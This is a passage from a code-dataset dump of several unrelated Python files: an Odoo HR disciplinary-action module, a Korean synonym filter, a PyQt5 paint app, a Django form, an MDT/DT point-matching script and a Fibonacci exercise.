= fields.Many2one(\"hr.company.policy\", string=\"Policy Code\")\n offense_id = fields.Many2one(\n \"hr.company.offense\",\n string=\"Offense Code\",\n readonly=True,\n store=True,\n compute=\"_get_offense_code\",\n )\n\n @api.depends(\"policy_id\")\n def _get_offense_code(self):\n for record in self:\n record.offense_id = record.policy_id.offense_code_id\n\n @api.multi\n def name_get(self):\n data = []\n for i in self:\n display_value = \"{} - {}\".format(i.policy_id.name,\n i.offense_id.name)\n data.append((i.id, display_value))\n return data\n\n\n\"\"\"======================Action History===================\n Action stages such as Investigation and Issuance of NTE,\n Collaboration with IMC and Corrective Action are created\n in this model.\n =======================================================\n\"\"\"\n\n\nclass ActionHistory(models.Model):\n _name = \"hr.infraction.action_history\"\n _description = \"Every corrective action applied to employee for specific violation is recorded here\"\n _rec_name = 'corrective_action'\n # _inherit = [\"mail.thread\",\"mail.activity.mixin\"]\n state = fields.Selection(\n string='State',\n selection=[\n (\"draft\", \"Draft\"),\n (\"approved\", \"Approved\"),\n (\"canceled\", \"Canceled\"),\n ],\n default='draft'\n )\n\n infraction_id = fields.Many2one(\n \"hr.infraction\", string=\"Infraction Record\")\n emp_id = fields.Many2one('hr.employee', string=\"Offending Employee\",\n related='infraction_id.emp_id',\n readonly=True,\n store=True\n )\n\n stage = fields.Selection(\n string=\"Stage\",\n selection=[\n (\"incident_report\", \"Incident Report\"),\n (\"inv_nte_issuance\", \"Investigation and NTE Issuance\"),\n (\"collaboration\", \"Collaboration with IMC\"),\n (\"corrective_action\", \"Corrective Action\"),\n ],\n )\n offense_code_id = fields.Many2one('hr.company.offense', 'Offense Code',\n related='infraction_id.offense_code_id',\n readonly=True,\n store=True\n )\n corrective_action = fields.Many2one(\"hr.company.offense.frequency\",\n domain=\"[('offense_code_id', '=', offense_code_id)]\",\n )\n action = fields.Selection(\n string=\"Corrective Action\",\n related=\"corrective_action.action\",\n readonly=True,\n store=True,\n )\n offense_frequency = fields.Char(\n string=\"Offense & Frequency\",\n compute=\"_get_default_offense\"\n )\n violation_id = fields.Many2one(\n \"hr.company.violation\",\n string=\"Violation\",\n related='infraction_id.violation_id',\n store=True,\n )\n action_date = fields.Date(string=\"Action Date\", default=fields.Date.today(),\n help='Date when the action (Incident Report, Investigation and NTE Issuance \\\n Collaboration With IMC, and Corrective Action took place'\n )\n start_date = fields.Date(string=\"Start Date\", default=fields.Date.today())\n end_date = fields.Date(string=\"End Date\", default=fields.Date.today())\n duration = fields.Integer(string=\"Duration\")\n days_remaining = fields.Integer(\n string=\"Days Remaining\",\n compute=\"_get_remaining_days\"\n )\n submit_nte = fields.Boolean(string=\"Submit NTE\")\n attachment = fields.Binary(string=\"Attachment\")\n notes = fields.Text(string=\"Notes\")\n number_of_days = fields.Integer(\n string=\"Number of Days\",\n # compute='_get_number_of_days',\n )\n staggered = fields.Boolean(string=\"Staggered\")\n user_id = fields.Many2one(\n 'res.users', string=\"Current User\", compute=\"get_current_user\")\n infraction_state = fields.Selection(\n string='Infraction State', related=\"infraction_id.state\")\n\n \"\"\"This method will create a suspension history record \n # when an action history suspension record with staggered being False gets created\"\"\"\n # @api.model\n # def create(self, vals):\n # result = super(ActionHistory, self).create(vals)\n # suspension = self.env['suspension.history']\n # if result.stage == 'corrective_action' and result.staggered == False:\n # suspension.create({\n # 'state': 'on_going',\n # 'emp_id': result.emp_id.id,\n # 'action_history_id': result.id,\n # 'infraction_id': result.infraction_id.id,\n # 'date_from': result.start_date,\n # 'date_to': result.end_date,\n # })\n # return result\n\n \"\"\" Checks if there are 2 or more instances of incident reports and NTE issuances \"\"\"\n # @api.constrains('stage')\n # def check_stage_count(self):\n # for rec in self:\n # incident_report_count = rec.infraction_id.history_ids.search_count(\n # [('stage', 'in', ['incident_report']), ('infraction_id.id', '=', rec.infraction_id.id),('infraction_sequence_id','!=',['draft'])])\n # inv_nte_count = rec.infraction_id.history_ids.search_count(\n # [('stage', 'in', ['inv_nte_issuance']), ('infraction_id.id', '=', rec.infraction_id.id)])\n # if incident_report_count > 1:\n # raise UserError(\n # _('Cannot create more than one instance of Incident Report per Record'))\n # if inv_nte_count > 1:\n # raise UserError(\n # _('Cannot create more than one instance of Investigation and NTE issuance per Record'))\n\n \"\"\"Checks if record state is set to In progress before creating Collaboration with IMC stage\"\"\"\n @api.constrains('stage')\n def check_record_stage(self):\n for i in self:\n record_state = i.infraction_id.state\n if i.stage == 'collaboration' and record_state != 'in_progress':\n raise UserError(\n _('Please click Submit button first before creating new Action record with stage Collaboration with IMC.'))\n\n \"\"\"Checks start date and end date\"\"\"\n # @api.constrains('start_date', 'end_date')\n # def check_start_end_date(self):\n # for rec in self:\n # incident_report_start_date = rec.infraction_id.history_ids.search(\n # [('stage', 'in', ['incident_report']), ('infraction_id.id', '=', rec.infraction_id.id)]).start_date\n # incident_report_end_date = rec.infraction_id.history_ids.search(\n # [('stage', 'in', ['incident_report']), ('infraction_id.id', '=', rec.infraction_id.id)]).end_date\n # # if rec.stage == 'inv_nte_issuance':\n # if rec.start_date:\n # if rec.end_date:\n # # if rec.start_date < incident_report_end_date:\n # # raise UserError(\n # # _('Start Date of investigation must be after Incident Report End Date'))\n # if rec.start_date > rec.end_date:\n # raise UserError(\n # _('End Date must be later than Start Date'))\n # else:\n # raise UserError(_('End Date must be set.'))\n # else:\n # raise UserError(_('Start Date must be set.'))\n\n \"\"\"Checks if Infraction has went through Collaboration with IMC stage before creating Corrective Action\"\"\"\n # @api.constrains('stage')\n # def check_collab_before_corrective_action(self):\n # for rec in self.infraction_id.history_ids:\n # if rec.stage == 'collaboration':\n # return True\n # else:\n # raise UserError(_('Infraction has to undergo Collaboration with IMC stage before applying Corrective Action'))\n\n \"\"\"Compute to assign current users id to user_id field \"\"\"\n @api.depends('infraction_id')\n def get_current_user(self):\n for record in self:\n user_id = record._uid\n self.user_id = user_id\n\n @api.depends(\"infraction_id\", \"stage\")\n def _get_default_offense(self):\n code = \"\"\n for i in self:\n policy_violated_id = i.infraction_id.policy_violated_id\n for j in policy_violated_id:\n code = j.offense_code_id.name\n frequency = self.infraction_id.frequency\n self.offense_frequency = \"{} - {}\".format(code, frequency)\n return True\n\n @api.onchange(\"start_date\", \"end_date\")\n def _get_duration(self):\n duration = abs((self.end_date - self.start_date)).days if self.end_date and self.start_date and (\n self.end_date - self.start_date).days > 0 else 0\n\n self.duration = duration\n\n @api.depends(\"start_date\", \"end_date\")\n def _get_remaining_days(self):\n for line in self:\n duration = (\n abs((line.end_date - line.start_date)).days\n if line.end_date\n and line.start_date\n and (line.end_date - line.start_date).days > 0\n else 0\n )\n line.days_remaining = (\n abs((line.end_date - date.today())).days\n if line.end_date and line.start_date and (date.today() > line.start_date)\n else duration\n )\n return True\n\n \"\"\"gets number of days\"\"\"\n # @api.onchange(\"start_date\",\"end_date\")\n # def _get_number_of_days(self):\n # for line in self:\n # duration = (\n # abs((line.end_date - line.start_date)).days\n # if line.end_date\n # and line.start_date\n # and (line.end_date - line.start_date).days > 0\n # else 0\n # )\n # self.number_of_days = duration\n \n \n\n \"\"\"This function creates and email form window\n Please note that in order to update the email template for any changes made in code below,\n User must delete the old template located in email.template.tree view called 'Notice to Explain, Send by email'\n Same goes when making changes in mail_template.xml in data folder.\n \"\"\"\n @api.multi\n def send_nte_email(self):\n \"\"\"\n This function opens a window to compose an email, with the notice to explain template message loaded by default\n \"\"\"\n\n self.ensure_one()\n ir_model_data = self.env['ir.model.data']\n try:\n \"\"\"\n Find the email template that we've created in data/mail_template_data.xml\n get_object_reference first needs the module name where the template is build and then the name\n of the email template (the record id in XML).\n \"\"\"\n template_id = ir_model_data.get_object_reference(\n 'hrms_compliance', 'nte_email_template')[1]\n except ValueError:\n template_id = False\n\n try:\n \"\"\"\n Load the e-mail composer to show the e-mail template in\n \"\"\"\n compose_form_id = ir_model_data.get_object_reference(\n 'mail', 'email_compose_message_wizard_form')[1]\n except ValueError:\n compose_form_id = False\n ctx = {\n # Model on which you load the e-mail dialog\n 'default_model': 'hr.infraction.action_history',\n 'default_res_id': self.ids[0],\n # Checks if we have a template and sets it if Odoo found our e-mail template\n 'default_use_template': bool(template_id),\n 'default_template_id': template_id,\n 'default_composition_mode': 'comment',\n 'force_email': True\n }\n\n # Will show the e-mail dialog to the user in the frontend\n return {\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'mail.compose.message',\n 'views': [(compose_form_id, 'form')],\n 'view_id': compose_form_id,\n 'target': 'new',\n 'context': ctx,\n }\n\n @api.multi\n def approve_record(self):\n \"\"\"Sets Action History State to Approved\"\"\"\n self.write(\n {\n 'state': 'approved'\n }\n )\n return True\n\n @api.multi\n def cancel_record(self):\n \"\"\"Sets Action History State to Canceled\"\"\"\n self.write(\n {\n 'state': 'canceled'\n }\n )\n return True\n \n @api.multi\n def unlink(self):\n \"\"\"This method will unlink/delete suspension history record associated with the action history.\n So when an action history with a normal/staggered suspension gets deleted, its respective suspension history\n will get deleted as well\n \"\"\"\n for recs in self.env['suspension.history'].search([('action_history_id','=',self.id)]):\n recs.unlink()\n result = super(ActionHistory, self).unlink()\n return result\n\n\"\"\"========================SUSPENSION HISTORY=======================\n ALL INSTANCES OF EMPLOYEE SUSPENSION IS RECORDED HERE\n THIS MAY BE USED FOR PAYROLL AND TIMEKEEPING PURPOSES\n =================================================================\n\"\"\"\n\n\nclass SuspensionHistory(models.Model):\n _name = 'suspension.history'\n _description = 'Staggered Suspension History Model'\n _rec_name = 'infraction_id'\n _inherit = [\"mail.thread\", \"mail.activity.mixin\", \"resource.mixin\"]\n\n status = [\n ('on_going', 'On Going'),\n ('completed', 'Completed')\n ]\n\n action_history_id = fields.Many2one('hr.infraction.action_history',string=\"Action History\")\n emp_id = fields.Many2one('hr.employee', string=\"Offending Employee\")\n infraction_id = fields.Many2one(\n 'hr.infraction', string=\"Infraction Record\")\n used_days = fields.Integer(string=\"Used Days\")\n date_from = fields.Date(string=\"Date From\")\n date_to = fields.Date(string=\"Date To\")\n duration = fields.Integer(string=\"Duration\", compute=\"_get_duration\")\n remaining_days = fields.Integer(string=\"Remaining Days\", compute=\"_get_remaining_days\")\n state = fields.Selection(\n string='Status',\n selection=status,\n compute='compute_state'\n )\n\n contract_id = fields.Many2one(\n 'hr.contract', string='Current Contract',\n related='emp_id.contract_id',\n readonly=True,\n store=True\n )\n\n @api.onchange(\"date_from\", \"date_to\")\n def _get_duration(self):\n for rec in self:\n duration = (\n abs((rec.date_from - rec.date_to)).days + 1\n if rec.date_from\n and rec.date_to\n # and (rec.date_to - rec.date_from).days > 0\n else 0\n )\n rec.duration = duration\n \n @api.depends(\"date_from\",\"date_to\")\n def _get_remaining_days(self):\n for rec in self:\n if rec.date_from and rec.date_to:\n remaining_days = (rec.date_to - date.today()).days\n getLogger().info('\\n\\n\\n{}\\n{}\\n\\n\\n'.format(rec.date_to, rec.date_to - date.today()))\n rec.remaining_days = remaining_days\n\n @api.depends('date_from','date_to','remaining_days')\n def compute_state(self):\n for rec in self:\n if rec.remaining_days <= 0:\n rec.remaining_days = 0\n rec.state = 'completed'\n else:\n rec.state = 'on_going'\n","sub_path":"hrms_compliance/models/infraction.py","file_name":"infraction.py","file_ext":"py","file_size_in_byte":36409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"359516643","text":"import os\nfrom kss.pynori.dict.trie import Trie\nfrom kss.pynori.token_attribute import TokenAttribute\n\nPATH_CUR = os.path.dirname(__file__)\n\n\nclass SynMode(object):\n \"\"\"Synonym mode to select synonyms\"\"\"\n\n NORM = \"NORM\" # select representative synonym token\n EXT = \"EXTENSION\" # select all synonym tokens\n\n\nclass SynonymGraphFilter(object):\n \"\"\"Synonym Text Processing\n\n Add synonym words to token stream / or Norm synonmy words\n keeping token offsets.\n\n Parameters\n ----------\n kor_tokenizer\n\n mode_synonym : {'EXTENSION', 'NORM'}\n\n 동의어 필터링 특징\n - Decompound 모드(MIXED, DISCARD, NONE)에 상관없이 동작\n\n \"\"\"\n\n def __init__(self, kor_tokenizer, mode_synonym):\n self.SEP_CHAR = \"_\" # separate charcter in token\n self.kor_tokenizer = (\n kor_tokenizer # korean_analyzer.py 에서 decompound mode가 이미 결정\n )\n self.mode_synonym = mode_synonym\n self.syn_trie = None\n self.synonym_build(PATH_CUR + \"/resources/synonyms.txt\")\n pass\n\n def _simple_tokenizer(self, in_string):\n # Tokenizing\n self.kor_tokenizer.set_input(in_string)\n while self.kor_tokenizer.increment_token():\n pass\n return self.kor_tokenizer.tkn_attr_obj\n\n def synonym_build(self, path_syn_file):\n entries = []\n with open(path_syn_file, \"r\", encoding=\"utf-8\") as rf:\n for line in rf:\n line = line.strip()\n if len(line) == 0:\n continue\n if line[:2] == \"# \":\n continue\n entries.append(line)\n\n self.syn_trie = Trie()\n for line in entries:\n tkn_attr_obj_list = []\n for token in line.split(\",\"):\n tkn_attr_obj_list.append(self._simple_tokenizer(token))\n\n if self.mode_synonym == SynMode.EXT:\n trie_result = tkn_attr_obj_list\n elif self.mode_synonym == SynMode.NORM:\n trie_result = [tkn_attr_obj_list[0]]\n\n for tkn_attr_obj in tkn_attr_obj_list:\n self.syn_trie[self.SEP_CHAR.join(tkn_attr_obj.termAtt)] = trie_result\n\n def _set_token_attribute(self, source, target, idx):\n for name, _ in target.__dict__.items():\n target.__dict__[name].append(source.__dict__[name][idx])\n return target\n\n def do_filter(self, tkn_attrs):\n new_tkn_attrs = TokenAttribute()\n token_list = tkn_attrs.termAtt\n step = 0\n\n for m, _ in enumerate(token_list):\n if m < step:\n continue\n\n token = token_list[step]\n for n in range(m, len(token_list)):\n node = self.syn_trie[token]\n tkn = node is None\n\n if tkn is False and node is None: # [A]\n if len(token.split(self.SEP_CHAR)) == 1:\n new_tkn_attrs = self._set_token_attribute(\n tkn_attrs, new_tkn_attrs, n\n )\n step = n + 1\n break\n else:\n new_tkn_attrs = self._set_token_attribute(\n tkn_attrs, new_tkn_attrs, n - 1\n )\n step = n\n break\n\n if tkn is True and node is None: # [B]\n if n == len(token_list) - 1:\n new_tkn_attrs = self._set_token_attribute(\n tkn_attrs, new_tkn_attrs, n\n )\n else:\n token += self.SEP_CHAR\n token += token_list[n + 1]\n continue\n\n if tkn is True and node is not None:\n for trie_tkn_attrs in node.result[0]:\n for k, _ in enumerate(trie_tkn_attrs.termAtt):\n new_tkn_attrs = self._set_token_attribute(\n trie_tkn_attrs, new_tkn_attrs, k\n )\n step = n + 1\n break\n\n return new_tkn_attrs\n","sub_path":"kss/pynori/synonym_graph_filter.py","file_name":"synonym_graph_filter.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"610004708","text":"import sys\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\n\nclass MyApp(QWidget):\n def __init__(self):\n super().__init__()\n #좌측 만들기\n gbL = [QGroupBox(i) for i in [\"타입\",\"Pen Setting\",\"뷰 설정\",\"File\"]] \n leftlayoutL = [QVBoxLayout(),QGridLayout(),QHBoxLayout(),QVBoxLayout()]\n #그룹1---------------------------------------\n self.radio = [QRadioButton(i,self) for i in [\"직선\",\"사각형\",\"곡선\",\"타원\",\"지우개\"]] #라디오버튼 5개를 만들어서 self.radio리스트에 넣어둔다\n [leftlayoutL[0].addWidget(r) for r in self.radio] #self.radio리스트에 있는 라디오버튼들 레이아웃에 추가한다.\n self.radio[0].setChecked(True) #라디오버튼의 기본값을 0번으로 해놓는다.\n self.drawType = 0 #라디오버튼의 인덱스값을 드로우타입으로 해놓는다.\n [self.radioBtnClicked(r,i) for i,r in enumerate(self.radio)] #라디오버튼 체크시 drawType 변경\n #그룹2---------------------------------------\n self.gridL = [QLabel(\"선 굵기\"),QComboBox(),QLabel(\"선색\"),QPushButton()] #두번쨰 그룹에 넣을 객체들을 리스트에 넣어둔다.\n [self.gridL[1].addItem(str(i)) for i in range(1,21)] #combobox에 1~20까지의 값을 추가한다.\n self.pencolor = QColor(0,0,0) #펜컬러객체를 만들어서 기본 색을 검정으로 지정해놓는다.\n self.gridL[3].setStyleSheet(\"Background-color : rgb(0,0,0)\") #\n self.gridL[3].clicked.connect(self.selectColorDlg)\n [leftlayoutL[1].addWidget(self.gridL[i*2+j],i,j) for i in range(2) for j in range(2)]\n #그룹3---------------------------------------\n self.hboxL = [QLabel(\"붓색상\"),QPushButton()]\n self.brushcolor = QColor(255,255,255)\n self.hboxL[1].setStyleSheet(\"Background-color : rgb(255,255,255)\")\n self.hboxL[1].clicked.connect(self.selectColorDlg)\n [leftlayoutL[2].addWidget(val) for val in self.hboxL]\n #그룹4---------------------------------------\n btnL = [QPushButton(n,self) for n in [\"새로만들기\",\"저장\"]]\n btnL[0].clicked.connect(self.new_img)\n btnL[1].clicked.connect(self.save_img)\n [leftlayoutL[3].addWidget(btn) for btn in btnL]\n #좌측묶기---------------------------------------\n inbox = [QVBoxLayout() for i in range(2)]\n for i,gb in enumerate(gbL):\n inbox[0].addWidget(gb)\n gb.setLayout(leftlayoutL[i])\n #우측---------------------------------------\n self.view = CGView(self)\n inbox[1].addWidget(self.view)\n #전체묶기---------------------------------------\n frmbox = QHBoxLayout()\n frmbox.addLayout(inbox[0])\n frmbox.addLayout(inbox[1])\n self.items = []\n self.setLayout(frmbox)\n self.setGeometry(100,100,1280,720)\n self.show()\n\n def radioBtnClicked(self,radio,index):\n radio.clicked.connect(lambda : self.radiocl(radio,index))\n def radiocl(self,radio,index):\n if radio.isChecked:\n self.drawType = index\n def selectColorDlg(self):\n color = QColorDialog.getColor()\n if self.sender() == self.gridL[3]:\n self.pencolor = color\n self.gridL[3].setStyleSheet(\"Background-color:{}\".format(color.name()))\n else:\n self.brushcolor = color\n self.hboxL[1].setStyleSheet(\"Background-color : {}\".format(color.name()))\n def new_img(self):\n if self.items:\n msg = QMessageBox.question(self,\"그림판\",\"변경 내용을 저장하시겠습니까?\",QMessageBox.Yes|QMessageBox.No|QMessageBox.Cancel,QMessageBox.Yes)\n if msg == QMessageBox.Cancel:\n return\n elif msg == QMessageBox.Yes:\n self.save_img()\n self.items = []\n self.view.scene.clear()\n\n def save_img(self):\n fname = QFileDialog.getSaveFileName(self,\"어디다가 저장하니??\",\"./\")\n if fname[0]:\n if fname[0].find('.') == -1:\n fname = list(fname)\n fname[0]+=\".png\"\n QPixmap(self.view.grab(self.view.sceneRect().toRect())).save(fname[0])\n\nclass CGView(QGraphicsView):\n def __init__(self,parent):\n super().__init__(parent)\n self.scene = QGraphicsScene()\n self.setScene(self.scene)\n self.start = QPointF()\n self.end = QPointF()\n\n def moveEvent(self,e): #창크기 변경\n rect = QRectF(self.rect())\n rect.adjust(0,0,-3,-3)\n self.scene.setSceneRect(rect)\n def mousePressEvent(self,e):\n if e.button()==Qt.LeftButton:\n self.start = e.pos()\n self.end = e.pos()\n if len(self.parent().items): #드레그중 일어난 이벤트로 인해 생성된 선 제거\n self.scene.removeItem(self.parent().items[-1])\n del(self.parent().items[-1])\n if self.parent().drawType == 4:\n rect = QRectF(e.pos().x()-self.parent().gridL[1].currentIndex(),e.pos().y()-self.parent().gridL[1].currentIndex(),self.parent().gridL[1].currentIndex()*2,self.parent().gridL[1].currentIndex()*2)\n self.parent().items.append(self.scene.addRect(rect,QPen(Qt.black,5),QBrush(Qt.white)))\n self.scene.addRect(rect,QPen(Qt.white,0),QBrush(Qt.white))\n \n def mouseMoveEvent(self,e):\n if len(self.parent().items): #드레그중 일어난 이벤트로 인해 생성된 선 제거\n self.scene.removeItem(self.parent().items[-1])\n del(self.parent().items[-1])\n self.end = e.pos()\n pen = QPen(self.parent().pencolor,self.parent().gridL[1].currentIndex())\n line = QLineF(self.start.x(),self.start.y(),self.end.x(),self.end.y())\n brush = QBrush(self.parent().brushcolor)\n rect = QRectF(min(self.start.x(),self.end.x()),min(self.start.y(),self.end.y()),abs(self.start.x()-self.end.x()),abs(self.start.y()-self.end.y()))\n if self.parent().drawType == 0:\n self.parent().items.append(self.scene.addLine(line, pen))\n elif self.parent().drawType == 1:\n self.parent().items.append(self.scene.addRect(rect,pen,brush))\n elif self.parent().drawType == 2:\n self.scene.addLine(line, pen)\n self.start = e.pos()\n elif self.parent().drawType == 3:\n self.parent().items.append(self.scene.addEllipse(rect,pen,brush))\n elif self.parent().drawType == 4:\n rect = QRectF(e.pos().x()-self.parent().gridL[1].currentIndex(),e.pos().y()-self.parent().gridL[1].currentIndex(),self.parent().gridL[1].currentIndex()*2,self.parent().gridL[1].currentIndex()*2)\n self.parent().items.append(self.scene.addRect(rect,QPen(Qt.black,5),QBrush(Qt.white)))\n self.scene.addRect(rect,QPen(Qt.white,0),QBrush(Qt.white))\n\n def mouseReleaseEvent(self,e):\n self.end = e.pos()\n pen = QPen(self.parent().pencolor,self.parent().gridL[1].currentIndex())\n line = QLineF(self.start.x(),self.start.y(),self.end.x(),self.end.y())\n brush = QBrush(self.parent().brushcolor)\n rect = QRectF(min(self.start.x(),self.end.x()),min(self.start.y(),self.end.y()),abs(self.start.x()-self.end.x()),abs(self.start.y()-self.end.y()))\n if self.parent().drawType == 0:\n self.scene.addLine(line,pen)\n elif self.parent().drawType == 1:\n self.scene.addRect(rect,pen,brush)\n elif self.parent().drawType == 2:\n self.parent().items.append(self.scene.addLine(line, pen))\n elif self.parent().drawType == 3:\n self.scene.addEllipse(rect,pen,brush)\n elif self.parent().drawType == 4:\n if len(self.parent().items): #드레그중 일어난 이벤트로 인해 생성된 선 제거\n self.scene.removeItem(self.parent().items[-1])\n del(self.parent().items[-1])\n\nif __name__==\"__main__\":\n app = QApplication(sys.argv)\n m = MyApp()\n sys.exit(app.exec_())","sub_path":"W5D4/paint.py","file_name":"paint.py","file_ext":"py","file_size_in_byte":8463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255801687","text":"__author__ = 'adsouza'\n\nfrom django import forms\nfrom polls.models import Question\n\n\nclass QuestionForm(forms.ModelForm):\n question_text = forms.CharField(max_length=128, help_text=\"What is your idea?\", label=\"Idea/Suggestion/URL\")\n question_description = forms.CharField(max_length=123, help_text=\"How does it work?\", label=\"Details\")\n likes = forms.IntegerField(widget=forms.HiddenInput(), initial=0)\n slug = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n # An inline class to provide additional information on the form.\n class Meta:\n # Provide an association between the ModelForm and a model\n model = Question\n fields = ('question_text', 'question_description')\n","sub_path":"polls/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"485102654","text":"import openpyxl\nimport os\nimport sys\nimport csv\nimport sqlite3\nimport pandas\nimport math\nimport time\nfrom concurrent.futures import ThreadPoolExecutor as TPE\nimport traceback\nimport multiprocessing\n\n################################################################################\n# Module multiprocessing is organized differently in Python 3.4+\ntry:\n # Python 3.4+\n if sys.platform.startswith('win'):\n import multiprocessing.popen_spawn_win32 as forking\n else:\n import multiprocessing.popen_fork as forking\nexcept ImportError:\n import multiprocessing.forking as forking\n\nif sys.platform.startswith('win'):\n # First define a modified version of Popen.\n class _Popen(forking.Popen):\n def __init__(self, *args, **kw):\n if hasattr(sys, 'frozen'):\n # We have to set original _MEIPASS2 value from sys._MEIPASS\n # to get --onefile mode working.\n os.putenv('_MEIPASS2', sys._MEIPASS)\n try:\n super(_Popen, self).__init__(*args, **kw)\n finally:\n if hasattr(sys, 'frozen'):\n # On some platforms (e.g. AIX) 'os.unsetenv()' is not\n # available. In those cases we cannot delete the variable\n # but only set it to the empty string. The bootloader\n # can handle this case.\n if hasattr(os, 'unsetenv'):\n os.unsetenv('_MEIPASS2')\n else:\n os.putenv('_MEIPASS2', '')\n\n\n # Second override 'Popen' class with our modified version.\n forking.Popen = _Popen\n\n\n################################################################################\n\nclass Main:\n def __init__(self):\n self.main_path = os.path.split(os.path.abspath(sys.argv[0]))[0]\n self.dt_point_list = []\n\n def get_dt_info(self):\n path_base_data = os.path.join(self.main_path, 'DT采样点_饶平.xlsx')\n f_base_data_wb = openpyxl.load_workbook(path_base_data, read_only=True)\n for temp_sheet_name in f_base_data_wb.sheetnames:\n if temp_sheet_name == 'DT采样点':\n temp_f_base_data_wb_sheet = f_base_data_wb[temp_sheet_name]\n for temp_row in temp_f_base_data_wb_sheet.iter_rows(min_row=2):\n temp_value = [str(j.value) for j in temp_row]\n self.dt_point_list.append(temp_value)\n\n def get_mdt_info(self):\n path_base_data = os.path.join(self.main_path, 'raoping.csv')\n # self.conn = sqlite3.connect('db.db',check_same_thread=False)\n self.conn = sqlite3.connect(':memory:', check_same_thread=False)\n df = pandas.read_csv(path_base_data, encoding='gbk')\n df.to_sql('mdt', self.conn, if_exists='append', index=False)\n\n def executer(self, point_list):\n try:\n long, lat = point_list\n cu = self.conn.cursor()\n minlng, maxlng, minlat, maxlat = self.get_area(float(long), float(lat), 5)\n temp_sql_scr = self.sql_scr.replace('&1', minlng).replace('&2', maxlng).replace('&3', minlat).replace('&4',\n maxlat)\n cu.execute(temp_sql_scr)\n # self.temp_list['value']['_'.join(point_list)] = cu.fetchall()\n self.temp_list['value'].append(point_list + list(cu.fetchall()[0]))\n except:\n pass\n # traceback.print_exc()\n\n def executer_head(self, point_list):\n long, lat = point_list\n cu = self.conn.cursor()\n minlng, maxlng, minlat, maxlat = self.get_area(float(long), float(lat), 5)\n temp_sql_scr = self.sql_scr.replace('&1', minlng).replace('&2', maxlng).replace('&3', minlat).replace('&4',\n maxlat)\n cu.execute(temp_sql_scr)\n self.temp_list['head'] = [i[0] for i in cu.description]\n\n def progress(self):\n self.get_mdt_info()\n\n self.temp_list = {\n 'head': [],\n 'value': []\n }\n f = open(os.path.join(self.main_path, 'sql.sql'), encoding='utf-8-sig')\n self.sql_scr = f.read()\n with TPE(1) as executor:\n executor.map(self.executer, self.dt_point_list)\n self.executer_head(self.dt_point_list[1])\n self.writer()\n\n def progress_process_obj(self,value_list):\n self.get_mdt_info()\n self.temp_list = {\n 'head': [],\n 'value': []\n }\n f = open(os.path.join(self.main_path, 'sql.sql'), encoding='utf-8-sig')\n self.sql_scr = f.read()\n for temp_value in value_list:\n self.executer(temp_value)\n self.executer_head(value_list[1])\n self.writer()\n\n\n def progress_process(self):\n core_num = 3\n dt_point_list_num = int(len(self.dt_point_list) / core_num)\n temp_dt_point_list = [self.dt_point_list[0:dt_point_list_num]]\n for i in range(core_num):\n if i+2 < core_num:\n temp_dt_point_list.append(self.dt_point_list[dt_point_list_num*(i+1):dt_point_list_num * (i+2)])\n elif i+2 == core_num:\n temp_dt_point_list.append(self.dt_point_list[dt_point_list_num*(i+1):])\n\n process_pool = multiprocessing.Pool(core_num)\n for temp_list in temp_dt_point_list:\n process_pool.apply_async(self.progress_process_obj, args=(temp_list,))\n process_pool.close()\n process_pool.join()\n\n def get_area(self, longitude, latitude, dis):\n \"\"\"\n 确定查询经纬度范围\n :param latitude:中心纬度\n :param longitude:中心经度\n :param dis:半径(m)\n :return:(minlat, maxlat, minlng, maxlng)\n \"\"\"\n r = 6371.137\n dlng = 2 * math.asin(math.sin(dis / 1000 / (2 * r)) / math.cos(latitude * math.pi / 180))\n dlng = dlng * 180 / math.pi\n\n dlat = dis / 1000 / r\n dlat = dlat * 180 / math.pi\n\n minlng = longitude - dlng\n maxlng = longitude + dlng\n minlat = latitude - dlat\n maxlat = latitude + dlat\n\n return str(minlng), str(maxlng), str(minlat), str(maxlat)\n\n def writer(self):\n if not os.path.exists(os.path.join(self.main_path, 'converge_list.csv')):\n with open(os.path.join(self.main_path, 'converge_list.csv'), 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['DT_Longitude', 'DT_Latitude'] + self.temp_list['head'])\n writer.writerows(self.temp_list['value'])\n else:\n n = 1\n while n:\n try:\n with open(os.path.join(self.main_path, 'converge_list.csv'), 'a', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(self.temp_list['value'])\n n = 0\n except:\n time.sleep(1)\n\n\nif __name__ == '__main__':\n multiprocessing.freeze_support()\n\n print(time.strftime('%Y/%m/%d %H:%M:%S', time.localtime()))\n\n main = Main()\n main.get_dt_info()\n star_time = time.time()\n\n # main.progress()\n main.progress_process()\n\n print('>>> 历时:', time.strftime('%Y/%m/%d %H:%M:%S', time.gmtime(time.time() - star_time)))\n print(time.strftime('%Y/%m/%d %H:%M:%S', time.localtime()))\n","sub_path":"MDT_converge/MDT_converge.py","file_name":"MDT_converge.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"63718980","text":"\n'''\n我们都知道兔子繁殖能力是惊人的,如下图:\n\n\n我们可以用数学函数来定义:\n 1,当n=1 F(n) = 1,\n当n=2 ,F(n) = 1\n F(n-1)+F(n-2),当n>2\n课间练习:假设我们需要求出经历了20个月后,总共有多少对小兔崽子?(迭代 vs 递归)\n\n'''\n\ndef fab(n):\n n1 = 1\n n2 = 1\n n3 = 1\n\n if n < 1:\n print('输入有误!')\n return -1 #判断要写 !\n\n while (n - 2) > 0: #比如n=5 循环3次 1+1=2 1+2=3 2+3=5\n n3 = n2 + n1\n n1 = n2 #下一步n2 给n1\n n2 = n3 #n3 给n2\n n -= 1 #循环次数\n\n return n3 #退出while循环 返回结果\n\n\nresult = fab(20)\nif result != -1:\n print('总共有%d对小兔崽子诞生!' % result)\n","sub_path":"fab_1.py","file_name":"fab_1.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} 